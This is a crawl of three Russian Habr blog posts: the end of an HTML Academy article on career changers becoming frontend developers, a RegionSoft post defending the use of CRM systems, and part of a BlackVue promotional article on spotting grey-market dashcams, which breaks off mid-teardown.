На самом же деле здесь нет ничего невозможного, главное — очень сильно захотеть научиться новому. ТВ-продюсер → фриланс-разработчик Александр Половников, фронтенд-разработчик, фрилансер, наставник HTML Academy Семь лет я проработал в продюсерской компании, которая занималась производством телевизионных программ, фильмов и сериалов. Впервые с HTML я столкнулся ещё в школе: на занятиях мы делали простые странички, которые мне легко давались. В своё время я даже сделал пару «коммерческих» сайтов друзьям. Но в дальнейшем я выбрал вуз, никак не связанный с технологиями, а вёрстка оставалась лишь хобби, которое я со временем забросил. Всё изменилось, когда я случайно наткнулся на курсы академии. Решил попробовать — и так увлёкся, что за несколько вечеров без перерыва прошёл их все и записался на интенсив. Он мне тоже понравился: знания усваивались очень быстро и легко. Нужно было двигаться дальше — а я ещё не очень хорошо понимал разницу между фронтенд- и бэкенд-разработкой. Мне посоветовали пройти стартующий курс по Ruby on Rails, что я и сделал. Оказалось, что знать хотя бы один серверный язык очень полезно для фронтендера. Затем настало время изучения JavaScript. В академии его ещё не было, так что пришлось найти другие курсы, а уже затем вернуться на стартовавший интенсив по JS. Весь процесс обучения занял около 9 месяцев — немало, но за это время я смог получить хорошую базу. Однако мне нужно было больше практики, которую я решил искать на фриланс-площадках. Но самое классное произошло, когда я приехал в гости в офис академии. Разговор зашёл о работе, кто-то упомянул новую фриланс-площадку Rubrain — она недавно открылась, все о ней слышали, но никто ещё не пробовал. Я отправил администрации своё резюме с описаниями навыков, рассказом о себе и просьбой добавить меня в базу. Через пару дней мне пришло письмо об одобрении моей заявки, а ещё чуть позже мне позвонил один из основателей площадки и предложил поработать на них: нужно было помочь с сайтом. Это был мой первый серьёзный и ответственный проект в моей карьере фрилансера. Всё получилось хорошо, после чего коллеги из Rubrain стали рекомендовать меня знакомым — число заказов росло, мне предлагали более сложные и интересные заказы. Пришло время решать что-то с моей основной работой в продюсерской компании. Уходить «с концами» было страшновато, поэтому я сделал попытку договориться о работе на полставки, но начальство идею не оценило. В итоге я всё же уволился. Решиться помогла поддержка друзей и близких, хотя были и скептики, которые отговаривали от ухода со стабильный работы. Но большинство всё же меня поддержало. Дальше я работал на фрилансе, заводил новые знакомства, получал проекты, учился и развивался, уже понимая, что хочу заниматься именно фронтендом. Прошёл год, и в какой-то момент я осознал, что хотел бы поделиться наработанным опытом и знаниями — прошёл собеседование на должность наставника в HTML Academy на базовый интенсив, а спустя полгода — и на продвинутый. В итоге я занимаюсь тем, от чего меня действительно «прёт», меня не покидает желание постоянно учиться и развиваться. Работа — это моё хобби. Пройдя этот путь, я сделал для себя несколько выводов. Во-первых, учиться лучше на практике: работа над реальными фриланс-проектами помогла не забыть теорию и быстрее получать новые навыки. Кроме того, хороший способ обучения — поработать над каким-либо открытым проектом. Так можно разобраться с инструментом и начать применять его на практике, притом что работа над open source не предполагает жёстких сроков и требований. Это хороший способ научиться чему-то новому, а если проект выстрелит — получить плюс в портфолио. Кстати, о портфолио: чтобы начать получать заказы, оно должно быть. А где его взять начинающему фронтендеру? Лучший вариант — найти в интернете бесплатные или недорогие стоковые макеты и сверстать их. Пять таких качественных работ — и получится достойное портфолио. Редактор-копирайтер → фронтенд-разработчик международного стартапа Николай, фронтенд-разработчик Меняю профессию я не в первый раз: к 2014 году успел поработать редактором в СМИ и на телевидении, копирайтером в больших рекламных агентствах, сотрудником техподдержки (это было не очень интересно) и менеджером интернет-проектов. Почти всегда моя работа так или иначе была связана с интернетом, так что однажды мне захотелось оказаться среди тех, кто делает все эти чудесные сервисы и сайты. Всё началось в 2014 году — тогда мне было 32 года. Обычное дело: понадобилось сделать что-то для сайта компании, денег на фрилансеров не было — я полез разбираться сайт, наткнулся на сайт академии, прошёл все доступные на тот момент курсы и… втянулся. В апреле того же года я успешно окончил третий поток базового интенсива по вёрстке и задумался о смене профессии, потому что верстать мне понравилось. Найти работу оказалось непросто, сначала ничего не получалось. Я откликался на вакансии, получал отказы, неудачно выполнил тестовое задание для CSSSR, найти заказы на фриланс тоже не удавалось. Но рук я не опускал, продолжал искать, самостоятельно изучая то, чего не рассказывали на базовом интенсиве (а других тогда ещё не было). И вот однажды меня пригласили на собеседование на должность стажёра-верстальщика. Я его прошёл и получил свою первую работу в команде веб-разработки. Можно сказать, мне повезло: в компании мне выделили наставника, который многому меня научил, сами проекты тоже были интересными. Мы создавали сайты для крупных компаний — операторов связи, у каждой из них были требования к качеству и стилю кода, используемым технологиям. Именно тогда я разобрался с БЭМ, научился использовать препроцессоры, вник в работу с PHP-шаблонизаторами, адаптивной вёрсткой, Гитом и многим другим. Ну а дальше я устроился в другую компанию, потом ещё в одну — крупную, с несколькими отделами разработки и высокими зарплатами. Всего за год у меня получилось из стажёра вырасти в специалиста, увеличить доход в четыре раза и понять, что передо мной ещё очень длинный путь, а только лишь вёрсткой ограничиваться не стоит. Сейчас я работаю фронтенд-разработчиком в небольшом международном стартапе — и как будто вернулся на два года назад: столько всего нужно знать, столько шишек набить, столько велосипедов изобрести, а результатов твоей работы ждут здесь и сейчас. Это тяжело, страшно: вдруг не смогу развиваться в нужном темпе, подведу коллег, подведу себя… мне ведь уже даже не 32. Но всё это чертовски интересно, так что я с оптимизмом смотрю в своё «фронтенд-будущее». Тем, кто стоит перед порогом фронтенд-разработки и боится перешагнуть, могу посоветовать смело идти вперёд, но только если вы готовы тяжело трудиться, много учиться и если вам действительно это интересно. Что ещё? Отмечу только одно (про остальное скажут другие) — сам тоже хочу подтянуть этот момент: ходите на конференции и митапы, больше общайтесь, выступайте, заводите новые знакомств. Это расширит ваш кругозор, мотивирует увеличить собственные знания, к тому же будет к кому обратиться с вопросом, а кто-то из знакомых, вполне возможно, однажды пригласит вас на работу. Заключение Опыт наших студентов в смене профессии говорит о том, что нет ничего невозможного. Однако и этот процесс можно оптимизировать. Вот что нужно знать нетехнарям, которые захотели переквалифицироваться в ИТ-специалиста: Смена профессии может занять до года . Смена профессии — небыстрый процесс, изучение новых технологий и последующее прохождение собеседований займут время. Курсы помогают ускорить прогресс . Учиться только самому — не самый эффективный способ получения новых знаний. Курсы и интенсивы могут дать новый импульс развитию — особенно если занятия предполагают решение задач, приближенных к реальной жизни, под руководством наставников. Сначала нужно научиться вёрстке . Именно изучение HTML и CSS должно стать первым шагом к освоению новой профессии. Это позволит поэтапно разобраться с тем, как работает веб, и понять, какую специализацию хочется выбрать. Реальные проекты помогают ускорить прогресс . Теория и учебные задания — это хорошо, но нет лучшего способа профессионального роста, чем работа над реальными проектами. Практика позволяет не забыть теорию и развить навыки.
https://habrahabr.ru/company/htmlacademy/blog/318668/
habrahabr
О CRM коротко. Рубрика «Не могу молчать»
['crm', 'crm система', 'regionsoft', 'crm по-русски']
В предыдущем посте мы попрощались с читателями до нового года, но как бы не так! Один из сотрудников нашёл в Интернете интересный вопрос, заданный пользователям форума для продажников. И у него,...
В предыдущем посте мы попрощались с читателями до нового года, но как бы не так! Один из сотрудников нашёл в Интернете интересный вопрос, заданный пользователям форума для продажников. И у него, точнее, неё, родился возмущения пост. Как нам кажется, эмоции явно не напрасны, поскольку девушка уже восьмой год идёт рука об руку (голова об код?) с корпоративным программным обеспечением разного рода и знает, о чём говорит. В общем, передаём ей предновогодний микрофон. Привет, Хабр! Спасибо, RegionSoft, за то, что дал дорваться хоть разок до блога. Постараюсь коротко и по делу. Суть комментария была вот в чём: Разберу это высказывание по частям. Тезис 1. «Сие хорошо для руководителя». Любая автоматизация — это хорошо не столько для руководителя, сколько для бизнеса в целом. Потому что правильно организованный проект по внедрению CRM, ERP, PM или просто электронного документооборота — это задел на рост продуктивности команды. Дело руководителя (и линейных руководителей) в следующем: отрегулировать бизнес-процессы перед внедрением и мотивировать сотрудников использовать софт, который установлен в компании. Это серьёзный подготовительный этап, на котором нужно разобрать по деталям всю систему управления компанией, выделить проблемные места, избавиться от ненужных процессов (Например, начале 2010-х при обследовании одного сотового оператора было выявлено, что отдел логистики занимается переупаковкой SIM-карт вручную. Этот процесс автоматизировали на стороне поставщика, подписав с ним соглашение. Высвободилось огромное количество времени, распределили рабочие функции, продажи выросли). После того, как CRM-система внедрена, руководитель должен помнить, что он не небожитель, а член команды, а значит, он должен не только собирать отчёты, но и активно участвовать в автоматизированной работе: включать себя в цепочки бизнес-процессов, управлять задачами, ставить напоминания и даже пополнять базу знаний. В таком случае сотрудники смогут оценить экспертизу начальника, ощутить, что CRM поставлена не для галочки и не для контроля, а для слаженной командной работы. Повторюсь, CRM — это не инструмент контроля, не фетиш руководителя и не место слива корпоративного бюджета. Это инструмент, как MS Office, интернет-браузер или телефон. И он должен использоваться всей командой с наибольшим эффектом — тогда такое ПО окупается в очень короткие сроки. Тезис 2. «Как им работается в CRM?» Возьмём пример команды RegionSoft . Все мы, от секретаря и продажников до программистов и генерального директора, — простые пользователи RegionSoft CRM. Ни у кого из нас нет волшебной кнопки «Сделать зашибись» и «Продемонстрировать, как я круто работаю». Каждый начинает свой день именно с запуска системы (некоторые её не выключают в принципе и лезут в неё даже с мобильника через удалённый рабочий стол), потому что: в CRM мы планируем свои рабочие (иногда и личные) дела, получаем от неё напоминания о них, а также о встречах, звонках и иных событиях; в CRM мы звоним через SIPфон и Skype, чтобы видеть профиль абонента и сохранять запись звонка (для того, чтобы вспомнить, о чЁм мы там говорили в течение двух часов с клиентом — отличная альтернатива тому, чтобы лихорадочно писать весь разговор на бумаге); мы планируем в ней совещания; в CRM мы видим все свои KPI, вовремя разруливаем то, что не успели, и получаем заслуженные премии; почта у нас тоже в CRM — очень удобно видеть переписку по каждому клиенту; в карточках клиентов — наши альфа и омега: все аккуратно собранные контакты, реквизиты и документы; наконец, мы работаем и тем самым становимся лучшими бета-тестерами своей родной RegionSoft CRM. Это очень общий список дел, поскольку у каждого сотрудника ещё масса своих задач, которые решает система: это и нужды продажников по документации, и интеграция с 1С, и техническая поддержка с записью инцидентов, и проч. CRM-системы хороши тем, что они универсальны, не нужно плодить несколько видов софта у себя на ПК, вся важная информация под рукой. Работается удобно и быстро — это главное. Лично я сменила несколько CRM, среди которых был легендарный Siebel, эпичный SAP, корпоративный портал Битрикс24. Это очень, ОЧЕНЬ, разные решения, но схема всегда одна: привыкнуть к интерфейсу ——> разобраться с настройками ——> освоить правила унификации данных ——> спокойно работать. Конечно, системы отличаются набором возможностей, но это зависит от профиля компании и задач конкретного менеджера. Рюшечки, material, flat, дашборды не решают вообще ничего, только функциональность, только надёжность хранения данных. И да, чуть не забыла, очень важна скорость работы — если CRM долго думает, это инструмент с плохой архитектурой. Интерфейс должен быть не столько красивым, сколько отзывчивым и эффективным. Тезис 3. «Нужна конкретика, реальные примеры, а не общие слова». Реальные примеры — это реальные истории внедрения, со сроками, наблюдениями, отзывами. У любого вендора их сотни, есть удачные, есть затянувшиеся. По первой же просьбе вам расскажут о внедрениях в компаниях, приближенных к вашей по отрасли. Но поверьте, ни одна история внедрения не повторится в вашем бизнесе — потому что он уникальный, со своей спецификой. Можно сказать, понравился пользователям интерфейс или нет, освоили они конструктор бизнес-процессов или запутались, но чесать всех под одну гребёнку не получится.   Тезис 4. «Интересно мнение простых обывателей, а не разработчиков или рекламщиков». Не могу говорить за рекламщиков, у нас в компании таких нет. Разработчики, продажники, внедренцы — это ближе. Опять же, озвучу свою позицию: трезво мыслящий сотрудник вендора никогда не начнёт говорить про «интуитивный приятный интерфейс, открытость дизайна, персональные настройки». Так софт продавать нельзя. Софт можно продавать только когда «прохавал» его с самого низа и прекрасно можешь сопоставить проблемы клиента с тем, что может решить твоё ПО. У сотрудников вендоров, как уже выше написано, по совместительству простых пользователей CRM, сформирована отличная экспертиза как раз с точки зрения пользователя. И им можно доверять. Это же глупо — утверждать, что софт может решать задачи, которые он на самом деле решать не может. Например, RegionSoft CRM не работает с социальными сетями — просто потому, что спрос раздут некоторыми игроками рынка, а на самом деле его практически нет. Разумеется, если нам позвонит стартапер и спросит, сможет ли он получать заказы на доставку своего инновационного нано-смузи прямо из ВКонтакте, мы ответим «нет» и предложим доработку. Сказать «да» и надеяться, что клиент передумает использовать эту функцию очень странно, хотя среди бизнес-консультантов такой подход порой встречается. Мы, сотрудники, как и сам вендор в целом, заинтересованы  в том, чтобы наш софт работал и помогал клиенту  решать задачи, ради которых затевалась автоматизация. Если этого не происходит — это в том числе наша недоработка. В общем, пишите, звоните, обращайтесь к вендору, смотрите его презентации и задавайте каверзные вопросы — тогда это будут не слухи от «простых обывателей», а профессиональная информация. Без неё успешно с новым софтом не стартовать. Пользуясь случаем, поздравляю своих коллег и весь любимый и читаемый мною много лет Хабр с Новым годом! Правильных вопросов, грамотных ответов, и классных результатов всем. Уффф, пойду закину ссылку на этот ответ на форум — пусть вопрошатель порадуется. А если вам нужна CRM-система , то у нас всё ещё действует скидка — правда, уже всего 5%.
https://habrahabr.ru/company/regionsoft/blog/318670/
habrahabr
Контрабанда из Китая – брак и мрак для россиян
['Blackvue', 'видеорегистраторы']
Если вы следите за рынком смартфонов-планшетов, то наверняка в курсе любви производителей к выпуску разных версий одного и того же аппарата отличающихся для разных стран или регионов. Различия...
Если вы следите за рынком смартфонов-планшетов, то наверняка в курсе любви производителей к выпуску разных версий одного и того же аппарата отличающихся для разных стран или регионов. Различия часто обусловлены очевидной спецификой – скажем, в телефонах для Южной Кореи непременно должна присутствовать антенна для цифрового мобильного ТВ T-DMB. Российские любители купить аппараты подешевле из Китая повсеместно сталкиваются с урезанными диапазонами частот 3G и 4G, из-за чего порой обнаруживают проблемы нормальной поддержки отечественных мобильных сетей аппаратами, купленными в китайских интернет-магазинах. Бывает и так, что производитель исходя из неких соображений поставляет на один рынок устройства с элементной базой подешевле, а на другой – с элементной базой подороже. Так, например, было в случае с корейской и американской версиями Samsung Galaxy S4, когда релиз под операторов в США стоил в себестоимости на $16 дешевле. Причем чаще всего довольно затруднительно узнать эти различия по типичной таблице с характеристиками, без разбора устройств. Казалось бы, тема отличающихся друг от друга региональных версий бесконечно далека от рынка видеорегистраторов… Однако в этой статье я по «горячим следам» общения с представителями официального сервиса компании BlackVue в России, расскажу (и покажу) – почему это не так. Как бренды видеорегистраторов (причём, самые топовые бренды!) выпускают для разных стран разнящиеся версии одной и той же модели. И почему подобной разницей «на полную катушку» пользуются нечистые на руку продавцы, предлагающие практически по ценам «белых» устройств «серые», контрафактные товары. При этом покупатель «серого» регистратора получает модели с упрощёнными, более дешёвыми комплектующими – скажем, GPS будет дольше искать спутники, а модуль Wi-Fi «бить» максимум в пределах салона машины. Навскидку кажется, что максимум, чем может отличаться один и тот же видеорегистратор с адаптацией под разные страны – языком прошивки. Либо иногда производители полностью блокируют или отключают (но оставляют лазейку для включения) функцию «спидкам» – предупреждения о камерах контроля скорости. Ведь в ряде стран Евросоюза подобные электронные советчики банально запрещены законом. Поэтому, как вы понимаете, там регистраторы с подобным функционалом защиты от камер контроля скорости никогда не допустят до полок магазинов. В 2016 году южнокорейская компания BlackVue, производитель самых технологичных видеорегистраторов в мире, приняла решение в порядке эксперимента опробовать выпуск специальных версий регистраторов, адаптированных под те или иные страны. В одних случаях решения были продиктованы экономическими соображениями, в других – особенностями условий эксплуатации. Например, в отсутствие суровых морозов нет смысла устанавливать самые дорогие и надежные суперконденсаторы (они же – ионисторы) в регистраторы, выпущенные для стран Южной Америки. Как показал опыт прошлых лет, более дешёвая «супербатарейка» (такие применялись в первых моделях BlackVue) при заложенном гарантированном ресурсе работы в один год в реальности преспокойно выдерживает минимум три года. А ведь именно трехлетний срок – прерогатива наиболее долговечных и дорогостоящих ионисторов во флагманах BlackVue 2015-2016 года. Изначально экономический мотив подготовки региональных версий устройств проявился в стремлении BlackVue стимулировать продажи своих регистраторов в Китае. Как вы понимаете, именно в этой стране производится, пожалуй, 99% автомобильных «чёрных ящиков» категории «ширпотреб». И даже модели с флагманскими характеристиками здесь стоят какую-то жалкую сотню долларов (оставим в стороне вопрос о том, что «железо» нужно еще и заставить работать правильным софтом, чтобы раскрывать свой потенциал должным образом). Для сравнения, в актуальной линейке BlackVue самый доступный топовый BlackVue DR650S-1CH с одной камерой стоит почти $350. Если же доплатить за установку и «облачные» функции, суммарный ценник не моргнув глазом легко переваливает за $500. Согласитесь, с такими данными было бы излишне оптимистичным заявиться на китайский рынок и ожидать повышенного спроса на устройства у населения, которое избаловано ультрадешёвыми (хотя и далеко не самыми качественными) автомобильными видеорегистраторами. BlackVue DR650S-1CH – первый в мире видеорегистратор с постоянным выходом в интернет, «облачными» и противоугонными технологиями Поэтому в компании BlackVue было принято решение пойти по пути установки упрощённых вариантов ряда компонентов, которые позволили бы немного снизить себестоимость моделей, а, значит, и конечную цену для потребителей. Каких именно элементов? Об этом мы еще расскажем в подробностях ниже. Расскажем на конкретном примере. Среди прочих, больше всего повезло европейским редакциям устройств. В России и Западной Европе потребителям хоть и доступно бесчисленное множество китайских поделок, однако покупатели более трезво подходят к оценке портативной потребительской электроники. Так как понимают, что качественный товар, да еще если речь идет об инновационных, передовых функциях, априори не может быть дешевым. Потому BlackVue и поставляет в эти страны эталонные версии своих регистраторов, с максимально дорогими комплектующими внутри и без какой-либо экономии на компонентах. Контрабандисты-профаны и предприимчивые китайцы Эксклюзивным поставщиком устройств BlackVue все время присутствия бренда в России является компания BVC Trade, которая с самого начала своей деятельности с этим топовым корейским брендом (с 2012 года) тесно сотрудничала с производителем по вопросам борьбы с контрабандой. Надо сказать, весьма успешно: редкие магазины сейчас рискуют выставлять на продажу контрафакт. Тем не менее, небольшой список подобных горе-контор вы можете найти здесь . В России с контрафактными регистраторами BlackVue сложилась ситуация, когда потребитель чаще всего даже не подозревает, что покупает нелегально ввезенный для продажи аппарат, в значительном количестве случаев с более дешёвыми комплектующими. А более дешёвая «железка» в свою очередь приводит к некоторым ограничениям в использовании устройства. Обычный покупатель такого «серого» устройства в подавляющем большинстве случаев искренне полагает, что приобретает вполне себе официальный «белый» регистратор. То есть, выбор в пользу контрафакта часто делается неосознанно, банально по незнанию. Виной тому – ценовая политика немногих оставшихся продавцов контрабанды. Давайте вновь вспомним о смартфонах. К примеру, в 2016 году в России начали официально продавать изделия компании Xiaomi, смартфоны которой славятся крайне заманчивым соотношением цены и характеристик. В результате получилась та же история, что и с 99,9% попыток китайских мобильных игроков по-честному побороться за кошельки россиян. Скажем, путем заказа из китайских интернет-магазинов Xiaomi Redmi Note 4 можно купить меньше чем за 10 000 рублей, а в «Связном» эта же модель стоит ровно в два раза дороже — 20 000 рублей. Даже на Avito ценник от отечественных перепродавцов не превышает 13 000 рублей. В итоге разница в цене между «белым» и «серым» смартфоном получается слишком большой. И каждый потребитель с ходу четко видит и понимает, где легально продаваемое устройство, а где – контрафакт. С регистраторами BlackVue всё гораздо сложнее. Ниже в таблице вы можете видеть по ряду моделей сравнение цен дистрибутора и продавцов контрафакта. Особо изобретательные продавцы пишут официальный ценник, зачеркивают и указывают, за сколько продадут контрафакт. Правда, умалчивают о весьма неприятных издержках, которыми обернётся мизерная по сути выгода. А что потребитель? Он заходит на Яндекс.Маркет и видит, что разброс цен незначительный, но если есть возможность выгадать пару тысяч рублей – почему бы ею не воспользоваться? Из-за мизерной разницы в среднем в 9% пользователь даже не думает, что может купить «серое» устройство с «урезанными» характеристиками вместо полновесного флагмана. Причём, такая «подстава» ожидает потребителя на регистраторе не за 3-5 тысяч, а за 12-15 и даже 20 тысяч рублей. То есть, сэкономив пару тысяч, покупатель получает премиальный товар далеко не самого премиального уровня. Напомню, на Geektimes уже был опубликован подробный обзор BlackVue DR650S-2CH – представителя нового поколения премиальных видеорегистраторов с поддержкой мобильных «облачных» технологий, функциями автосигнализации и охранной противоугонной системы. Устройство входит в новую линейку 2016 года, всего здесь представлены три модели – BlackVue DR650S-1CH (одна камера, 20 990 рублей), BlackVue DR650S-2CH (две камеры, 26 990 рублей) и BlackVue DR650-2CH IR (две камеры, 28 990 рублей, вторая снабжена ИК-диодами для съемки в темноте). С помощью комплекта BlackVue Over the Cloud за 7 800 рублей регистратор получает постоянный доступ в интернет, а водитель в свою очередь – круглосуточную связь с регистратором из любой точки мира. В зависимости от ситуации, камера умеет отсылать на смартфон уведомления в режиме реального времен (предварительно на телефон нужно скачать из App Store или Google Play программу BlackVue). Скажем, если кто-то без вашего ведома завел машину или в кадре было замечено движение. После получения сообщения вы можете мгновенно подключиться к камере и в режиме реального времени посмотреть, что происходит. Плюс через смартфон доступен просмотр местоположения регистратора на карте, а также в Live-режиме скорость его перемещения. Вот, как работают облачные функции линейки BlackVue DR650S: В самом главном – качестве съёмки – BlackVue DR650S-2CH нет равных в любое время суток. Это регистраторы с самым лучшим качеством видео из всех моделей любых производителей. Днем дистанция читаемости госномеров в видео, записываемых регистраторами линейки BlackVue DR650S, достигает рекордных 25 метров (во всех других регистраторах — максимум 15-18 метров), а ночью – до 20 метров (вместо максимум 12-15 метров у любых конкурентов)! BlackVue DR650S ставит своеобразный рекорд в этом отношении. Но вернемся к контрабанде. И ещё небольшой штрих. Россияне очень не любят «барыг» в торговых сетях – тех, что смартфон ценой в 10 000 рублей продают за 20 000 рублей. Так вот, обратите внимание – продавцы контрафактного BlackVue не платят таможенную пошлину, не несут полную налоговую нагрузку, но все равно продают регистраторы практически по цене официально продаваемых моделей. Угадайте с трёх раз – кто откровенно наживается на потребителе? К сожалению, в меньшинстве случаев в качестве «серых» аппаратов у нас продают модели BlackVue для Южной Кореи или стран Европы. Как уже было сказано, это эталонные ничем не «урезанные» устройства. Для адаптации под российского потребителя приходится лишь немного повозиться с установкой отечественной версии прошивки вместо немецкой или корейской. Большинство же «нелегальных» устройств ввозятся к нам из Китая, в результате пользователи, заплатившие за покупку практически цену «белого» гаджета, в итоге получают сразу несколько проблем. Проблема номер один – отсутствие гарантийной поддержки официального сервиса. Российский дистрибутор как единственный официальный представитель компании в России принимает на себя обязательства по международной гарантии BlackVue. НО! Обеспечить нормальный сервис невозможно, если отличия присутствуют на аппаратном уровне. То есть, вам заменят динамик, проведут юстировку объектива. Но как вам починят GPS, если в регистраторе установлена другая (упрощенная, для китайского рынка) версия модуля, а у сервиса на руках – лишь региональный набор «белых» запчастей для официальной евроверсии? Проблема номер два – так называемые «рефы» или восстановленные аппараты. Официальный российский дистрибутор получает регистраторы BlackVue в запечатанных фирменных коробках, заклеенных не менее фирменным скотчем производителя. Так гарантируется, что если кто и вскроет упаковку с моделями, то разве что сотрудники таможни. Поэтому исключается вмешательство третьей стороны, которая бы могла подменить аппараты на бракованные или же поковыряться во внутренностях регистраторов с целью замены каких-либо комплектующих на более дешёвые аналоги. Контрабандные аппараты поставляются в фирменных хозяйственных сумках-баулах контор типа «Альт-Пак», чем и пользуются китайские партнеры российских контрабандистов. Сотрудники официального сервиса BlackVue неоднократно сталкивались с ситуацией, когда клиент приносил абсолютно новый регистратор, который не желал работать должным образом. Например, по трекам GPS были видны частые пропадания приема сигнала, при прекращении подачи питания камера резко выключалась с «запарыванием» последнего ролика. При ближайшем рассмотрении в официальном сервисе выяснялось, что модель явно уже успела побывать в ремонте, причем, явно у наших китайских соседей – есть, знаете ли, характерные признаки вскрытия аппарата у чу мелыми китайскими ручонками. В восстановленных моделях, так называемых «рефах» нет ничего плохо, если речь идет, к примеру, о продукции Apple. Восстановленный iPhone по сути ничем не отличается от обычного – там новые официальные комплектующие. Когда вы приобретаете восставленный «яблокофон» через салон МТС или Связного, опасаться нечего. А если покупаете с рук у мелкого российского интернет-магазина или тем более у продавца с Aliexpress? Очевидно, в таком случае с очень высокой вероятностью вы становитесь участником беспроигрышной лотереи. Призы – некачественно восстановленный аппарат. Или модель с заменой оригинальных комплектующих (корпус, стекло и т.д.) на более дешёвые и менее качественные аналоги – китайский чёрный рынок комплектующих поистине бездонен и необъятен. Мы можем лишь предполагать, зачем китайские «экспортеры» организуют подобное с регистраторами BlackVue и подставляют своих российских партнеров-перекупщиков-барыг. Версия номер один – банальная продажа восстановленных моделей по цене новых, что позволяет класть в карман пару десятков лишних юаней. Как вы понимаете, российская сторона физически не в состоянии разобрать и проверить каждый из сотен ввозимых устройств. Чем и пользуются нечистые на руку азиаты. К тому же, если китайский мастер знает, что камера уйдет в Россию, то наверняка не будет «запариваться» и сделает ремонт по методу «тяп-ляп» в минимальные сроки. В нормальных сервисах после устранения поломки в регистраторе минимум один-два дня камеру дополнительно тестируют, чтобы исключить повторное появление «болячки». Догадайтесь, будет ли тратить на это время сотрудник китайского сервиса, который клепает на потоке восстановленные аппараты? Да он лучше ещё десять регистраторов за то же время починит. Версия номер два менее правдоподобна, но полностью исключать её мы бы не стали. Это получение новеньких комплектующих взамен нерабочих. Мотивированный азиатский сервисник способен филигранно разобрать модель так, что обычный мастер из российского сервиса, не имеющий достаточной подготовки именно на данную модель данного производителя, никак не заметит подвоха. Итог – компонент (тот же GPS-приемник) изымается, на его место устанавливается частично неработаспособный и/или более дешёвый. Причем конечный покупатель может об этом и не догадаться – ведь чаще всего регистратор используется по принципу «установил и забыл». Практика – учимся различать оригинальный BlackVue для России и китайскую версию Прежде чем перейти к самому «вкусному» (и скрытому в корпусе регистратора), расскажем о некоторых простых способах выявления «серых» устройств BlackVue. 1. Посмотрите раздел « Партнеры » на официальном российском сайте BlackVue. Там предоставлены удобные инструменты быстрого поиска магазинов по всей России, которые реализуют официальные «белые» регистраторы, обеспеченные фирменной гарантией производителя. 2. На коробке с устройством вы можете найти наклейку с S/N – серийным номером. Прямо на сайте blackvue.ru можно ввести номер и мгновенно узнать, покупаете вы официальный «белый», легально ввезенный аппарат с полной поддержкой российского официального сервиса BlackVue или же в руках у вас – контрафактный экземпляр, с высокой вероятностью с «урезанной» железкой. Как вариант — позвоните на бесплатный телефон горячей линии техподдержки 8 (800) 775-05-64 (работает 9:00 до 18:00 понедельник-пятница). Продиктуйте серийный номер аппарата, чтобы узнать его происхождение. Кстати, первые два пункта будут особенно полезны вам ещё и в случае покупки б/у модели с рук. 2. Узнавайте у продавца до покупки, на какой срок распространяется гарантия. Как правило, продавцы контрабанды устанавливают в два (!) раза меньшую длительность – всего шесть месяцев вместо одного года официальной гарантийной поддержки BlackVue. Выше мы уже выяснили, что продавцы контрабанды и так неплохо наживаются, продавая контрафакт по цене официально ввезенной продукции. Сокращенная гарантия позволяет получить дополнительный источник сокращения издержек — спустя полгода любой ремонт покупателю придется делать за деньги. И да, ещё раз напоминаем, что разница в цене официального и контрабандного регистраторы BlackVue в среднем составляет 9% или до 2 тысяч рублей для бюджетных моделей с ценой 10-20 тысяч рублей и до 3 тысяч рублей в случае дорогих топовых моделей за 20-30 тысяч рублей. Согласитесь, экономия крайне сомнительная, если речь идёт о столь значительном сокращении срока гарантийного обслуживания. 3. Изучайте гарантийный талон. Этот метод работает частично, потому как только в конце 2016 года поставляемые в Россию официально регистраторы BlackVue снабжаются эксклюзивными гарантийными талонами на русском языке. Если в коробке с устройством находится переведённая на русский гарантия, можете быть уверены – перед вами «белое» устройство. Слева – гарантийный талон международного образца, спарва – гарантийный талон для российских версий регистраторов BlackVue (кладётся в комплект с регистратором с конца 2016 года) Слева – гарантийный талон для российских версий регистраторов BlackVue, справа – гарантийный талон «подвального» сервиса продавца контрабандных регистраторов 3. Защитная голограмма «BVC Trade» на коробке. Подделывать данную голограмму никто из продавцов контрафакта пока не научился, но все же этот пункт мы бы рекомендовали применять на практике вместе с проверкой серийного номера. Сотрудник единственного официального дистрибутора устройств BlackVue в России – компании BVC Trade — наклеивает на коробки фирменные голограммы Упаковка BlackVue DR650S-2CH. Справа – европейская (российская) версия с фирменной голограммой, слева – китайская версия без голограммы 4. Целостность упаковки. Российские продавцы контрабанды, неважно из Китая или иных стран, получают аппараты с не-русской прошивкой. Соответственно, чтобы у отечественного покупателя не возникло подозрений, требуется установить русскую прошивку. Как это сделать, если коробки с новенькими моделями тщательно упакованы в полиэтиленовую плёнку? Конечно же порвать пленку и «залить» прошивку. Понятно, что продавать аппарат со вскрытой коробкой «не комильфо», поэтому контрабандистам приходится дополнительно тратиться на то, чтобы повторно упаковать коробки в прозрачную полиэтиленовую плёнку. Упаковка BlackVue DR650S-2CH. Справа – европейская (российская) версия с аккуратными швами упаковочной пленки, слева – китайская версия, плёнка вскрыта для доступа к регистратору и установки российской прошивки. Затем уже другую упаковочную плёнку вручную обернули вокруг коробки и «зашили» с помощью фена Обратите внимание, у заводских коробок в месте соединения плёнки — очень аккуратный, тонкий фабричный шов, выполненный машиной. У контрабанды – сплошной ручной труд: человек заматывает коробку в полиэтилен и [строительным] феном «прижимает» края плёнки по бокам. Вот, кто упаковывает в плёнку коробки с регистраторами BlackVue в Южной Корее (на изображении приведен пример. BlackVue модель упаковочного станка не раскрывает:)) Вот, кто упаковывает в пленку коробки с регистраторами BlackVue в России Переходим к самому интересному – тем самым региональным различиям между устройствами BlackVue для разных стран. Мы решили наглядно показать все на реальном примере реального обратившегося в официальный сервис BlackVue потребителя. На фото – Даниил, купивший флагманскую модель BlackVue DR650S-2CH здесь у одного из продавцов «серяка» — компании «ПРОЛАЙН». Практически сразу же Даниил выяснил, что ролики копируются по Wi-Fi в память смартфона подозрительно долго, а GPS-приемник стабильно тратит на поиск спутников не менее пяти минут. Поэтому и обратился в сервис. Правда, с удачной «ошибкой» — обратился по адресу, указанному на официальном сайте бренда — blackvue.ru , а не талоне купленного устройства. В результате работники российского сервисного центра BlackVue решили в качестве жеста доброй воли выдать Даниилу новенький «белый» BlackVue DR650S-2CH, забрать контрафактный экземпляр и разобрать его. Чтобы вы, уважаемые читатели, на примере купленного Даниилом аппарата своими глазами увидели – в чём заключаются различия между китайской версией модели и полноценной российской (европейской). Чуть позже, после сдачи контрафактного регистратора, Даниил получил от BVC Trade новенький и беленький, «официальный» BlackVue DR650S-2CH Что ж, приступаем к разбору. Поначалу всё идет хорошо – корпуса в китайской и европейской версиях одинаковые. Модуль беспроводного включения/выключения записи звука (достаточно провести пальцем на расстоянии до двух 